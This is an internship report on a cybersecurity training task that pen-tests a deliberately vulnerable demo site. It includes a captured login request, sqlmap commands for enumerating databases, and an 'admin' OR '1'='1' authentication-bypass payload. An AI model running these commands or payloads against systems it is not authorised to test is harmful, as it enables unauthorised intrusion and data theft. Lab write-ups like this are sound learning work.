FUTURE INTERNS – TASK 1

Name: Arya Sunilkumar

Internship: Cyber Security

Email ID: asunilkumar369@gmail.com

Objective:

My main objective during this task was to conduct security testing on a sample web application to identify vulnerabilities such as **SQL Injection (SQLi), Cross-Site Scripting (XSS), and Authentication Flaws**. By performing controlled penetration testing, I aimed to analyze security weaknesses and provide actionable recommendations to enhance the application's security posture.

Skills Gained:

Through this experience, I developed valuable skills, including:

- **Web Application Security** – Understanding common vulnerabilities and how to mitigate them.
- **Ethical Hacking** – Learning penetration testing methodologies and best practices.
- **Penetration Testing** – Using tools to detect security flaws and exploit vulnerabilities in a controlled manner.

Tools Used:

To successfully conduct security testing, I worked with the following tools:

- **SQLMap** – An automated tool to detect and exploit SQL Injection vulnerabilities.
- **Burp Suite** – A web security testing tool used for intercepting and analyzing HTTP requests.
- **Firefox (Configured with Burp Proxy)** – Used for capturing login requests and testing authentication flaws.

How I Achieved It:

Step 1: Identifying a Vulnerable Endpoint

I started by identifying the target web application's login page:

http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F

Using **Burp Suite**, I captured the **POST request** used for authentication:

POST /Login.asp?RetURL=%2FDefault%2Easp%3F HTTP/1.1

```
Host: testasp.vulnweb.com
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDSSTSSCST=OAPMBMLDMJEMFHFKMPEFAFGK
Connection: keep-alive

tfUName=admin&tfUPass=password123
```

Step 2: Performing SQL Injection Testing

I executed the following **SQLMap command** to check for SQLi vulnerabilities:

```
sqlmap -u "http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F" \
--data="tfUName=admin&tfUPass=password123" --batch --dbs
```

To increase testing depth, I used:

```
sqlmap -u "http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F" \
--data="tfUName=admin&tfUPass=password123" --batch --dbs --level=5 --risk=3
```

Step 3: Testing Authentication Flaws

- **Captured the login request** using Burp Suite.
- **Modified the credentials** to inject an SQLi-based payload:

  ```
  username=admin' OR '1'='1&password=1234
  ```

- **Forwarded the request** to check if authentication could be bypassed.
- **Observed system responses** to detect possible vulnerabilities.

Lessons Learned:

This hands-on experience provided me with deep insights into web application security:

Understanding Security Testing

- I learned how to conduct **penetration testing** using SQLMap and Burp Suite.
- Capturing and analyzing HTTP requests helped me understand **how authentication systems work**.

Gaining Expertise in Exploit Techniques

- I discovered **how attackers exploit SQL Injection** vulnerabilities.
- I observed real-time user authentication behavior and identified **weaknesses in login mechanisms**.

6. Glimpses of the Task: